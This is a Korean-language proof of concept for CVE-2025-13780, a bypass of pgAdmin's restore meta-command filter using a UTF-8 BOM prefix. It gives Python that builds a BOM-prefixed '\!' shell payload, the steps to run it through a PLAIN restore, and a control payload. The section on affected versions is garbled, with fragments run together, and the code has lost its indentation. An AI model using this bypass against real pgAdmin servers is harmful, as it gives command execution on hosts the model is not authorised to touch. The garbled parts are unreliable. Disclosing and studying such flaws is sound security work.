
CVE-2025-13780에 대한 개념 증명
pgAdmin의 Issue 9320 수정의 일부로 도입된 PLAIN 복원 메타 명령 필터는 SQL 파일이 UTF-8 BOM(EF BB BF) 또는 다른 특수 시퀀스로 시작할 때 메타 명령을 감지하지 못합니다. 구현된 필터는 has_meta_commands() 함수를 사용하며, 정규 표현식으로 원시 바이트를 스캔합니다. 정규식은 해당 바이트를 무시 가능한 것으로 처리하지 않으므로 \!와 같은 메타 명령이 감지되지 않습니다. pgAdmin이 --file과 함께 psql을 호출하면 psql이 해당 바이트를 제거하고 명령을 실행합니다. 이로 인해 복원 작업 중 원격 명령 실행이 발생할 수 있습니다.
이 우회는 커밋 1d397395f75320ca1d4ed5e9ca721c603415e836(https://github.com/pgadmin-org/pgadmin4/commit/1d397395f75320ca1d4ed5e9ca721c603415e836)에서 도입된 패치에 영향을 미칩니다.
확인된 영향:
63ee81202b65e1e8923eb1b917b49312a6fb7df2 (2025-11-13)영향 가능성:
1d397395f75320ca1d4ed5e9ca721c603415e836의 패치된 를 포함한 모든 버전has_meta_commands()\restrict)에서 실행되므로 메타 명령이 이제 psql 자체에 의해 차단됩니다.web/pgadmin/tools/restore/__init__.pyhas_meta_commands()관련 코드 (패치된 버전):
def has_meta_commands(path, chunk_size=8 * 1024 * 1024):
pattern = re.compile(br'(^|\n)[ \t]*\\')
with open(path, "rb") as f:
prev_tail = b""
while chunk := f.read(chunk_size):
data = prev_tail + chunk
if pattern.search(data):
return True
prev_tail = data[-10:]
return False
1단계: BOM과 메타 명령으로 시작하는 SQL 파일을 생성합니다.
payload = b"\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran\nSELECT 1;\n"
with open("bypass_bom.sql", "wb") as f:
f.write(payload)
2단계: BOM 확인:
xxd bypass_bom.sql | head -1
예상 결과:
ef bb bf 5c 21 ...
3단계: 파일을 pgAdmin 스토리지에 배치:
/var/lib/pgadmin/storage/<user>/bypass_bom.sql
4단계: pgAdmin에서: 복원 -> 형식: PLAIN -> bypass_bom.sql 선택 -> 실행
5단계: 실행 확인:
ls /tmp/bom_ran
BOM이 없는 대조 파일은 정상적으로 차단됩니다.
BOM 접두사 페이로드:
\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran
SELECT 1;
대조 페이로드:
\\! echo SHOULD_BE_BLOCKED
SELECT 1;